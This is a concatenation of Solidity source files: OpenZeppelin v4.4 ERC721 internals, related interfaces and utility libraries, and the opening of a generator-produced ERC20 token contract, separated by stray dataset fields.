* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
|
True
|
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2629,
1010,
9413,
102
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// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
